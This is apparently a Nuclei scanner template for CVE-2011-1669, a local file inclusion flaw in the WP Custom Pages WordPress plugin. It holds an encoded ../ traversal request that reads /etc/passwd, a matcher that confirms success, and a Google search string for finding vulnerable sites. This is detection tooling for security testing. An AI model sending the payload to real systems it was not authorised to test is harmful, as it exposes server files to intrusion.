id: CVE-2011-1669

info:
  name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.
  impact: |
    An attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669
    - https://www.exploit-db.com/exploits/17119
    - http://www.exploit-db.com/exploits/17119
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/66559
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-1669
    cwe-id: CWE-22
    epss-score: 0.02966
    epss-percentile: 0.89875
    cpe: cpe:2.3:a:mikoviny:wp_custom_pages:0.5.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mikoviny
    product: wp_custom_pages
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve,cve2011,edb,wordpress,wp-plugin,lfi,mikoviny

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220494970bc2de72594ab8da27efeb9427a0eba928ba7e49b4eb191b682bda14ad1022100905b334c25e0b7169d2adbb77e2f68f49d388a46f12a9a13291a7e5a035fe981:922c64590222798bb761d5b6d8e72950